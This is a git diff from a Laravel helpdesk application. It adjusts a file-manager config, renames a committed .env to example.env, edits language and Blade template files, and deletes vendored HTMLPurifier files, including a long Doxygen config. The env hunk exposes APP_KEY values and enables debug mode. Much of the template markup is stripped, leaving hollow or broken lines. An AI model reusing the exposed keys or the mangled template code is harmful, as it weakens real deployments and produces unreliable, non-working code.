+++ b/config/lfm.php @@ -9,7 +9,7 @@ return [ 'shared_folder_name' => 'shares', 'thumb_folder_name' => 'thumbs', 'images_dir' => 'public/photos/', - 'images_url' => '%url%', + 'images_url' => url('photos').'/', 'files_dir' => 'public/files/', 'files_url' => '/files/', 'file_type_array' => [ diff --git a/.env b/example.env similarity index 61% rename from .env rename to example.env index c1bf337d8..7b243f517 100644 --- a/.env +++ b/example.env @@ -1,6 +1,9 @@ APP_ENV=local -APP_DEBUG=false -APP_KEY=base64:FBOLR201bGN3ooTZb+2i/ljncVY9QBvF2SUsJMMRFlU= +APP_DEBUG=true +APP_KEY=base64:aoeOzC+dTVpoHixcncKOfw+mxURy8+E4QVGJCJk44A4= +APP_BUGSNAG=false +APP_URL=http://localhost/sujit/faveo-helpdesk/public/ +DB_INSTALL=1 DB_TYPE=mysql DB_HOST=localhost DB_PORT= diff --git a/resources/lang/de/lang.php b/resources/lang/de/lang.php index 43732e9cd..457e61e84 100644 --- a/resources/lang/de/lang.php +++ b/resources/lang/de/lang.php @@ -1,4 +1,3 @@ -

@@ -73,8 +78,9 @@ @@ -325,15 +331,15 @@ -current_version < $update->new_version) { ?> + current_version < $update->new_version) { ?> Version {!! $update->new_version !!} is Available - + @endif - + @@ -390,7 +396,7 @@ + }); + }); - - + @endif + + + {!! Form::open(['url'=> '/step4post']) !!} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + +
+
+ +
+
+
+ +
+ + + + + +
+ + + + + +
+ + + + + +
+ + + + + +
+ + + + + +
+
+

+ + Previous +

+ +
+ + + @stop \ No newline at end of file diff --git a/vendor/htmlpurifier/.gitattributes b/vendor/htmlpurifier/.gitattributes deleted file mode 100644 index f5e57be2a..000000000 --- a/vendor/htmlpurifier/.gitattributes +++ /dev/null @@ -1,12 +0,0 @@ -/.gitattributes export-ignore -/.gitignore export-ignore -/Doxyfile export-ignore -/art/ export-ignore -/benchmarks/ export-ignore -/configdoc/ export-ignore -/configdoc/usage.xml -crlf -/docs/ export-ignore -/maintenance/ export-ignore -/phpdoc.ini -/smoketests/ export-ignore -/tests/ export-ignore diff --git a/vendor/htmlpurifier/.gitignore b/vendor/htmlpurifier/.gitignore deleted file mode 100644 index 553f454dc..000000000 --- a/vendor/htmlpurifier/.gitignore +++ /dev/null @@ -1,28 +0,0 @@ -tags -conf/ -test-settings.php -config-schema.php -library/HTMLPurifier/DefinitionCache/Serializer/*/ -library/standalone/ -library/HTMLPurifier.standalone.php -library/HTMLPurifier*.tgz -library/package*.xml -smoketests/test-schema.html -configdoc/*.html -configdoc/configdoc.xml -docs/doxygen* -*.phpt.diff -*.phpt.exp -*.phpt.log -*.phpt.out -*.phpt.php -*.phpt.skip.php -*.htmlt.ini -*.patch -/*.php -vendor -composer.lock -*.rej -*.orig -*.bak -core diff --git a/vendor/htmlpurifier/Doxyfile b/vendor/htmlpurifier/Doxyfile deleted file mode 100644 index b418f2122..000000000 --- a/vendor/htmlpurifier/Doxyfile +++ /dev/null @@ -1,1317 +0,0 @@ -# Doxyfile 1.5.3 - -# This file describes the settings to be used by the documentation system -# doxygen (www.doxygen.org) for a project -# -# All text after a hash (#) is considered a comment and will be ignored -# The format is: -# TAG = value [value, ...] -# For lists items can also be appended using: -# TAG += value [value, ...] -# Values that contain spaces should be placed between quotes (" ") - -#--------------------------------------------------------------------------- -# Project related configuration options -#--------------------------------------------------------------------------- - -# This tag specifies the encoding used for all characters in the config file that -# follow. The default is UTF-8 which is also the encoding used for all text before -# the first occurrence of this tag. Doxygen uses libiconv (or the iconv built into -# libc) for the transcoding. See http://www.gnu.org/software/libiconv for the list of -# possible encodings. - -DOXYFILE_ENCODING = UTF-8 - -# The PROJECT_NAME tag is a single word (or a sequence of words surrounded -# by quotes) that should identify the project. - -PROJECT_NAME = HTMLPurifier - -# The PROJECT_NUMBER tag can be used to enter a project or revision number. -# This could be handy for archiving the generated documentation or -# if some version control system is used. - -PROJECT_NUMBER = 4.7.0 - -# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) -# base path where the generated documentation will be put. -# If a relative path is entered, it will be relative to the location -# where doxygen was started. If left blank the current directory will be used. - -OUTPUT_DIRECTORY = "docs/doxygen " - -# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create -# 4096 sub-directories (in 2 levels) under the output directory of each output -# format and will distribute the generated files over these directories. -# Enabling this option can be useful when feeding doxygen a huge amount of -# source files, where putting all generated files in the same directory would -# otherwise cause performance problems for the file system. - -CREATE_SUBDIRS = NO - -# The OUTPUT_LANGUAGE tag is used to specify the language in which all -# documentation generated by doxygen is written. Doxygen will use this -# information to generate all constant output in the proper language. -# The default language is English, other supported languages are: -# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, -# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian, -# Italian, Japanese, Japanese-en (Japanese with English messages), Korean, -# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian, -# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. - -OUTPUT_LANGUAGE = English - -# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will -# include brief member descriptions after the members that are listed in -# the file and class documentation (similar to JavaDoc). -# Set to NO to disable this. - -BRIEF_MEMBER_DESC = YES - -# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend -# the brief description of a member or function before the detailed description. -# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the -# brief descriptions will be completely suppressed. - -REPEAT_BRIEF = YES - -# This tag implements a quasi-intelligent brief description abbreviator -# that is used to form the text in various listings. Each string -# in this list, if found as the leading text of the brief description, will be -# stripped from the text and the result after processing the whole list, is -# used as the annotated text. Otherwise, the brief description is used as-is. -# If left blank, the following values are used ("$name" is automatically -# replaced with the name of the entity): "The $name class" "The $name widget" -# "The $name file" "is" "provides" "specifies" "contains" -# "represents" "a" "an" "the" - -ABBREVIATE_BRIEF = "The $name class " \ - "The $name widget " \ - "The $name file " \ - is \ - provides \ - specifies \ - contains \ - represents \ - a \ - an \ - the - -# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then -# Doxygen will generate a detailed section even if there is only a brief -# description. - -ALWAYS_DETAILED_SEC = NO - -# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all -# inherited members of a class in the documentation of that class as if those -# members were ordinary class members. Constructors, destructors and assignment -# operators of the base classes will not be shown. - -INLINE_INHERITED_MEMB = NO - -# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full -# path before files name in the file list and in the header files. If set -# to NO the shortest path that makes the file name unique will be used. - -FULL_PATH_NAMES = YES - -# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag -# can be used to strip a user-defined part of the path. Stripping is -# only done if one of the specified strings matches the left-hand part of -# the path. The tag can be used to show relative paths in the file list. -# If left blank the directory from which doxygen is run is used as the -# path to strip. - -STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \ - "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier " - -# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of -# the path mentioned in the documentation of a class, which tells -# the reader which header file to include in order to use a class. -# If left blank only the name of the header file containing the class -# definition is used. Otherwise one should specify the include paths that -# are normally passed to the compiler using the -I flag. - -STRIP_FROM_INC_PATH = - -# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter -# (but less readable) file names. This can be useful is your file systems -# doesn't support long names like on DOS, Mac, or CD-ROM. - -SHORT_NAMES = NO - -# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen -# will interpret the first line (until the first dot) of a JavaDoc-style -# comment as the brief description. If set to NO, the JavaDoc -# comments will behave just like regular Qt-style comments -# (thus requiring an explicit @brief command for a brief description.) - -JAVADOC_AUTOBRIEF = YES - -# If the QT_AUTOBRIEF tag is set to YES then Doxygen will -# interpret the first line (until the first dot) of a Qt-style -# comment as the brief description. If set to NO, the comments -# will behave just like regular Qt-style comments (thus requiring -# an explicit \brief command for a brief description.) - -QT_AUTOBRIEF = NO - -# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen -# treat a multi-line C++ special comment block (i.e. a block of //! or /// -# comments) as a brief description. This used to be the default behaviour. -# The new default is to treat a multi-line C++ comment block as a detailed -# description. Set this tag to YES if you prefer the old behaviour instead. - -MULTILINE_CPP_IS_BRIEF = NO - -# If the DETAILS_AT_TOP tag is set to YES then Doxygen -# will output the detailed description near the top, like JavaDoc. -# If set to NO, the detailed description appears after the member -# documentation. - -DETAILS_AT_TOP = NO - -# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented -# member inherits the documentation from any documented member that it -# re-implements. - -INHERIT_DOCS = YES - -# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce -# a new page for each member. If set to NO, the documentation of a member will -# be part of the file/class/namespace that contains it. - -SEPARATE_MEMBER_PAGES = NO - -# The TAB_SIZE tag can be used to set the number of spaces in a tab. -# Doxygen uses this value to replace tabs by spaces in code fragments. - -TAB_SIZE = 4 - -# This tag can be used to specify a number of aliases that acts -# as commands in the documentation. An alias has the form "name=value". -# For example adding "sideeffect=\par Side Effects:\n" will allow you to -# put the command \sideeffect (or @sideeffect) in the documentation, which -# will result in a user-defined paragraph with heading "Side Effects:". -# You can put \n's in the value part of an alias to insert newlines. - -ALIASES = - -# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C -# sources only. Doxygen will then generate output that is more tailored for C. -# For instance, some of the names that are used will be different. The list -# of all members will be omitted, etc. - -OPTIMIZE_OUTPUT_FOR_C = NO - -# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java -# sources only. Doxygen will then generate output that is more tailored for Java. -# For instance, namespaces will be presented as packages, qualified scopes -# will look different, etc. - -OPTIMIZE_OUTPUT_JAVA = NO - -# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to -# include (a tag file for) the STL sources as input, then you should -# set this tag to YES in order to let doxygen match functions declarations and -# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. -# func(std::string) {}). This also make the inheritance and collaboration -# diagrams that involve STL classes more complete and accurate. - -BUILTIN_STL_SUPPORT = NO - -# If you use Microsoft's C++/CLI language, you should set this option to YES to -# enable parsing support. - -CPP_CLI_SUPPORT = NO - -# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC -# tag is set to YES, then doxygen will reuse the documentation of the first -# member in the group (if any) for the other members of the group. By default -# all members of a group must be documented explicitly. - -DISTRIBUTE_GROUP_DOC = NO - -# Set the SUBGROUPING tag to YES (the default) to allow class member groups of -# the same type (for instance a group of public functions) to be put as a -# subgroup of that type (e.g. under the Public Functions section). Set it to -# NO to prevent subgrouping. Alternatively, this can be done per class using -# the \nosubgrouping command. - -SUBGROUPING = YES - -#--------------------------------------------------------------------------- -# Build related configuration options -#--------------------------------------------------------------------------- - -# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in -# documentation are documented, even if no documentation was available. -# Private class members and static file members will be hidden unless -# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES - -EXTRACT_ALL = YES - -# If the EXTRACT_PRIVATE tag is set to YES all private members of a class -# will be included in the documentation. - -EXTRACT_PRIVATE = YES - -# If the EXTRACT_STATIC tag is set to YES all static members of a file -# will be included in the documentation. - -EXTRACT_STATIC = YES - -# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) -# defined locally in source files will be included in the documentation. -# If set to NO only classes defined in header files are included. - -EXTRACT_LOCAL_CLASSES = YES - -# This flag is only useful for Objective-C code. When set to YES local -# methods, which are defined in the implementation section but not in -# the interface are included in the documentation. -# If set to NO (the default) only methods in the interface are included. - -EXTRACT_LOCAL_METHODS = NO - -# If this flag is set to YES, the members of anonymous namespaces will be extracted -# and appear in the documentation as a namespace called 'anonymous_namespace{file}', -# where file will be replaced with the base name of the file that contains the anonymous -# namespace. By default anonymous namespace are hidden. - -EXTRACT_ANON_NSPACES = NO - -# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all -# undocumented members of documented classes, files or namespaces. -# If set to NO (the default) these members will be included in the -# various overviews, but no documentation section is generated. -# This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_MEMBERS = NO - -# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all -# undocumented classes that are normally visible in the class hierarchy. -# If set to NO (the default) these classes will be included in the various -# overviews. This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_CLASSES = NO - -# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all -# friend (class|struct|union) declarations. -# If set to NO (the default) these declarations will be included in the -# documentation. - -HIDE_FRIEND_COMPOUNDS = NO - -# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any -# documentation blocks found inside the body of a function. -# If set to NO (the default) these blocks will be appended to the -# function's detailed documentation block. - -HIDE_IN_BODY_DOCS = NO - -# The INTERNAL_DOCS tag determines if documentation -# that is typed after a \internal command is included. If the tag is set -# to NO (the default) then the documentation will be excluded. -# Set it to YES to include the internal documentation. - -INTERNAL_DOCS = NO - -# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate -# file names in lower-case letters. If set to YES upper-case letters are also -# allowed. This is useful if you have classes or files whose names only differ -# in case and if your file system supports case sensitive file names. Windows -# and Mac users are advised to set this option to NO. - -CASE_SENSE_NAMES = YES - -# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen -# will show members with their full class and namespace scopes in the -# documentation. If set to YES the scope will be hidden. - -HIDE_SCOPE_NAMES = NO - -# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen -# will put a list of the files that are included by a file in the documentation -# of that file. - -SHOW_INCLUDE_FILES = YES - -# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] -# is inserted in the documentation for inline members. - -INLINE_INFO = YES - -# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen -# will sort the (detailed) documentation of file and class members -# alphabetically by member name. If set to NO the members will appear in -# declaration order. - -SORT_MEMBER_DOCS = YES - -# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the -# brief documentation of file, namespace and class members alphabetically -# by member name. If set to NO (the default) the members will appear in -# declaration order. - -SORT_BRIEF_DOCS = NO - -# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be -# sorted by fully-qualified names, including namespaces. If set to -# NO (the default), the class list will be sorted only by class name, -# not including the namespace part. -# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. -# Note: This option applies only to the class list, not to the -# alphabetical list. - -SORT_BY_SCOPE_NAME = NO - -# The GENERATE_TODOLIST tag can be used to enable (YES) or -# disable (NO) the todo list. This list is created by putting \todo -# commands in the documentation. - -GENERATE_TODOLIST = YES - -# The GENERATE_TESTLIST tag can be used to enable (YES) or -# disable (NO) the test list. This list is created by putting \test -# commands in the documentation. - -GENERATE_TESTLIST = YES - -# The GENERATE_BUGLIST tag can be used to enable (YES) or -# disable (NO) the bug list. This list is created by putting \bug -# commands in the documentation. - -GENERATE_BUGLIST = YES - -# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or -# disable (NO) the deprecated list. This list is created by putting -# \deprecated commands in the documentation. - -GENERATE_DEPRECATEDLIST= YES - -# The ENABLED_SECTIONS tag can be used to enable conditional -# documentation sections, marked by \if sectionname ... \endif. - -ENABLED_SECTIONS = - -# The MAX_INITIALIZER_LINES tag determines the maximum number of lines -# the initial value of a variable or define consists of for it to appear in -# the documentation. If the initializer consists of more lines than specified -# here it will be hidden. Use a value of 0 to hide initializers completely. -# The appearance of the initializer of individual variables and defines in the -# documentation can be controlled using \showinitializer or \hideinitializer -# command in the documentation regardless of this setting. - -MAX_INITIALIZER_LINES = 30 - -# Set the SHOW_USED_FILES tag to NO to disable the list of files generated -# at the bottom of the documentation of classes and structs. If set to YES the -# list will mention the files that were used to generate the documentation. - -SHOW_USED_FILES = YES - -# If the sources in your project are distributed over multiple directories -# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy -# in the documentation. The default is NO. - -SHOW_DIRECTORIES = NO - -# The FILE_VERSION_FILTER tag can be used to specify a program or script that -# doxygen should invoke to get the current version for each file (typically from the -# version control system). Doxygen will invoke the program by executing (via -# popen()) the command , where is the value of -# the FILE_VERSION_FILTER tag, and is the name of an input file -# provided by doxygen. Whatever the program writes to standard output -# is used as the file version. See the manual for examples. - -FILE_VERSION_FILTER = - -#--------------------------------------------------------------------------- -# configuration options related to warning and progress messages -#--------------------------------------------------------------------------- - -# The QUIET tag can be used to turn on/off the messages that are generated -# by doxygen. Possible values are YES and NO. If left blank NO is used. - -QUIET = NO - -# The WARNINGS tag can be used to turn on/off the warning messages that are -# generated by doxygen. Possible values are YES and NO. If left blank -# NO is used. - -WARNINGS = YES - -# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings -# for undocumented members. If EXTRACT_ALL is set to YES then this flag will -# automatically be disabled. - -WARN_IF_UNDOCUMENTED = YES - -# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for -# potential errors in the documentation, such as not documenting some -# parameters in a documented function, or documenting parameters that -# don't exist or using markup commands wrongly. - -WARN_IF_DOC_ERROR = YES - -# This WARN_NO_PARAMDOC option can be abled to get warnings for -# functions that are documented, but have no documentation for their parameters -# or return value. If set to NO (the default) doxygen will only warn about -# wrong or incomplete parameter documentation, but not about the absence of -# documentation. - -WARN_NO_PARAMDOC = NO - -# The WARN_FORMAT tag determines the format of the warning messages that -# doxygen can produce. The string should contain the $file, $line, and $text -# tags, which will be replaced by the file and line number from which the -# warning originated and the warning text. Optionally the format may contain -# $version, which will be replaced by the version of the file (if it could -# be obtained via FILE_VERSION_FILTER) - -WARN_FORMAT = "$file:$line: $text " - -# The WARN_LOGFILE tag can be used to specify a file to which warning -# and error messages should be written. If left blank the output is written -# to stderr. - -WARN_LOGFILE = - -#--------------------------------------------------------------------------- -# configuration options related to the input files -#--------------------------------------------------------------------------- - -# The INPUT tag can be used to specify the files and/or directories that contain -# documented source files. You may enter file names like "myfile.cpp" or -# directories like "/usr/src/myproject". Separate the files or directories -# with spaces. - -INPUT = ". " - -# This tag can be used to specify the character encoding of the source files that -# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default -# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding. -# See http://www.gnu.org/software/libiconv for the list of possible encodings. - -INPUT_ENCODING = UTF-8 - -# If the value of the INPUT tag contains directories, you can use the -# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank the following patterns are tested: -# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx -# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py - -FILE_PATTERNS = *.php - -# The RECURSIVE tag can be used to turn specify whether or not subdirectories -# should be searched for input files as well. Possible values are YES and NO. -# If left blank NO is used. - -RECURSIVE = YES - -# The EXCLUDE tag can be used to specify files and/or directories that should -# excluded from the INPUT source files. This way you can easily exclude a -# subdirectory from a directory tree whose root is specified with the INPUT tag. - -EXCLUDE = - -# The EXCLUDE_SYMLINKS tag can be used select whether or not files or -# directories that are symbolic links (a Unix filesystem feature) are excluded -# from the input. - -EXCLUDE_SYMLINKS = NO - -# If the value of the INPUT tag contains directories, you can use the -# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude -# certain files from those directories. Note that the wildcards are matched -# against the file with absolute path, so to exclude all test directories -# for example use the pattern */test/* - -EXCLUDE_PATTERNS = */tests/* \ - */benchmarks/* \ - */docs/* \ - */test-settings.php \ - */configdoc/* \ - */test-settings.php \ - */maintenance/* \ - */smoketests/* \ - */library/standalone/* \ - */.svn* \ - */conf/* - -# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names -# (namespaces, classes, functions, etc.) that should be excluded from the output. -# The symbol name can be a fully qualified name, a word, or if the wildcard * is used, -# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test - -EXCLUDE_SYMBOLS = - -# The EXAMPLE_PATH tag can be used to specify one or more files or -# directories that contain example code fragments that are included (see -# the \include command). - -EXAMPLE_PATH = - -# If the value of the EXAMPLE_PATH tag contains directories, you can use the -# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank all files are included. - -EXAMPLE_PATTERNS = * - -# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be -# searched for input files to be used with the \include or \dontinclude -# commands irrespective of the value of the RECURSIVE tag. -# Possible values are YES and NO. If left blank NO is used. - -EXAMPLE_RECURSIVE = NO - -# The IMAGE_PATH tag can be used to specify one or more files or -# directories that contain image that are included in the documentation (see -# the \image command). - -IMAGE_PATH = - -# The INPUT_FILTER tag can be used to specify a program that doxygen should -# invoke to filter for each input file. Doxygen will invoke the filter program -# by executing (via popen()) the command , where -# is the value of the INPUT_FILTER tag, and is the name of an -# input file. Doxygen will then use the output that the filter program writes -# to standard output. If FILTER_PATTERNS is specified, this tag will be -# ignored. - -INPUT_FILTER = - -# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern -# basis. Doxygen will compare the file name with each pattern and apply the -# filter if there is a match. The filters are a list of the form: -# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further -# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER -# is applied to all files. - -FILTER_PATTERNS = - -# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using -# INPUT_FILTER) will be used to filter the input files when producing source -# files to browse (i.e. when SOURCE_BROWSER is set to YES). - -FILTER_SOURCE_FILES = NO - -#--------------------------------------------------------------------------- -# configuration options related to source browsing -#--------------------------------------------------------------------------- - -# If the SOURCE_BROWSER tag is set to YES then a list of source files will -# be generated. Documented entities will be cross-referenced with these sources. -# Note: To get rid of all source code in the generated output, make sure also -# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH -# then you must also enable this option. If you don't then doxygen will produce -# a warning and turn it on anyway - -SOURCE_BROWSER = YES - -# Setting the INLINE_SOURCES tag to YES will include the body -# of functions and classes directly in the documentation. - -INLINE_SOURCES = NO - -# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct -# doxygen to hide any special comment blocks from generated source code -# fragments. Normal C and C++ comments will always remain visible. - -STRIP_CODE_COMMENTS = YES - -# If the REFERENCED_BY_RELATION tag is set to YES (the default) -# then for each documented function all documented -# functions referencing it will be listed. - -REFERENCED_BY_RELATION = YES - -# If the REFERENCES_RELATION tag is set to YES (the default) -# then for each documented function all documented entities -# called/used by that function will be listed. - -REFERENCES_RELATION = YES - -# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) -# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from -# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will -# link to the source code. Otherwise they will link to the documentstion. - -REFERENCES_LINK_SOURCE = YES - -# If the USE_HTAGS tag is set to YES then the references to source code -# will point to the HTML generated by the htags(1) tool instead of doxygen -# built-in source browser. The htags tool is part of GNU's global source -# tagging system (see http://www.gnu.org/software/global/global.html). You -# will need version 4.8.6 or higher. - -USE_HTAGS = NO - -# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen -# will generate a verbatim copy of the header file for each class for -# which an include is specified. Set to NO to disable this. - -VERBATIM_HEADERS = YES - -#--------------------------------------------------------------------------- -# configuration options related to the alphabetical class index -#--------------------------------------------------------------------------- - -# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index -# of all compounds will be generated. Enable this if the project -# contains a lot of classes, structs, unions or interfaces. - -ALPHABETICAL_INDEX = NO - -# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then -# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns -# in which this list will be split (can be a number in the range [1..20]) - -COLS_IN_ALPHA_INDEX = 5 - -# In case all classes in a project start with a common prefix, all -# classes will be put under the same header in the alphabetical index. -# The IGNORE_PREFIX tag can be used to specify one or more prefixes that -# should be ignored while generating the index headers. - -IGNORE_PREFIX = - -#--------------------------------------------------------------------------- -# configuration options related to the HTML output -#--------------------------------------------------------------------------- - -# If the GENERATE_HTML tag is set to YES (the default) Doxygen will -# generate HTML output. - -GENERATE_HTML = YES - -# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `html' will be used as the default path. - -HTML_OUTPUT = html - -# The HTML_FILE_EXTENSION tag can be used to specify the file extension for -# each generated HTML page (for example: .htm,.php,.asp). If it is left blank -# doxygen will generate files with .html extension. - -HTML_FILE_EXTENSION = .html - -# The HTML_HEADER tag can be used to specify a personal HTML header for -# each generated HTML page. If it is left blank doxygen will generate a -# standard header. - -HTML_HEADER = - -# The HTML_FOOTER tag can be used to specify a personal HTML footer for -# each generated HTML page. If it is left blank doxygen will generate a -# standard footer. - -HTML_FOOTER = - -# The HTML_STYLESHEET tag can be used to specify a user-defined cascading -# style sheet that is used by each HTML page. It can be used to -# fine-tune the look of the HTML output. If the tag is left blank doxygen -# will generate a default style sheet. Note that doxygen will try to copy -# the style sheet file to the HTML output directory, so don't put your own -# stylesheet in the HTML output directory as well, or it will be erased! - -HTML_STYLESHEET = - -# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, -# files or namespaces will be aligned in HTML using tables. If set to -# NO a bullet list will be used. - -HTML_ALIGN_MEMBERS = YES - -# If the GENERATE_HTMLHELP tag is set to YES, additional index files -# will be generated that can be used as input for tools like the -# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) -# of the generated HTML documentation. - -GENERATE_HTMLHELP = NO - -# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML -# documentation will contain sections that can be hidden and shown after the -# page has loaded. For this to work a browser that supports -# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox -# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). - -HTML_DYNAMIC_SECTIONS = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can -# be used to specify the file name of the resulting .chm file. You -# can add a path in front of the file if the result should not be -# written to the html output directory. - -CHM_FILE = - -# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can -# be used to specify the location (absolute path including file name) of -# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run -# the HTML help compiler on the generated index.hhp. - -HHC_LOCATION = - -# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag -# controls if a separate .chi index file is generated (YES) or that -# it should be included in the master .chm file (NO). - -GENERATE_CHI = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag -# controls whether a binary table of contents is generated (YES) or a -# normal table of contents (NO) in the .chm file. - -BINARY_TOC = NO - -# The TOC_EXPAND flag can be set to YES to add extra items for group members -# to the contents of the HTML help documentation and to the tree view. - -TOC_EXPAND = NO - -# The DISABLE_INDEX tag can be used to turn on/off the condensed index at -# top of each HTML page. The value NO (the default) enables the index and -# the value YES disables it. - -DISABLE_INDEX = NO - -# This tag can be used to set the number of enum values (range [1..20]) -# that doxygen will group on one line in the generated HTML documentation. - -ENUM_VALUES_PER_LINE = 4 - -# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be -# generated containing a tree-like index structure (just like the one that -# is generated for HTML Help). For this to work a browser that supports -# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, -# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are -# probably better off using the HTML help feature. - -GENERATE_TREEVIEW = YES - -# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be -# used to set the initial width (in pixels) of the frame in which the tree -# is shown. - -TREEVIEW_WIDTH = 250 - -#--------------------------------------------------------------------------- -# configuration options related to the LaTeX output -#--------------------------------------------------------------------------- - -# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will -# generate Latex output. - -GENERATE_LATEX = NO - -# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `latex' will be used as the default path. - -LATEX_OUTPUT = latex - -# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be -# invoked. If left blank `latex' will be used as the default command name. - -LATEX_CMD_NAME = latex - -# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to -# generate index for LaTeX. If left blank `makeindex' will be used as the -# default command name. - -MAKEINDEX_CMD_NAME = makeindex - -# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact -# LaTeX documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_LATEX = NO - -# The PAPER_TYPE tag can be used to set the paper type that is used -# by the printer. Possible values are: a4, a4wide, letter, legal and -# executive. If left blank a4wide will be used. - -PAPER_TYPE = a4wide - -# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX -# packages that should be included in the LaTeX output. - -EXTRA_PACKAGES = - -# The LATEX_HEADER tag can be used to specify a personal LaTeX header for -# the generated latex document. The header should contain everything until -# the first chapter. If it is left blank doxygen will generate a -# standard header. Notice: only use this tag if you know what you are doing! - -LATEX_HEADER = - -# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated -# is prepared for conversion to pdf (using ps2pdf). The pdf file will -# contain links (just like the HTML output) instead of page references -# This makes the output suitable for online browsing using a pdf viewer. - -PDF_HYPERLINKS = YES - -# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of -# plain latex in the generated Makefile. Set this option to YES to get a -# higher quality PDF documentation. - 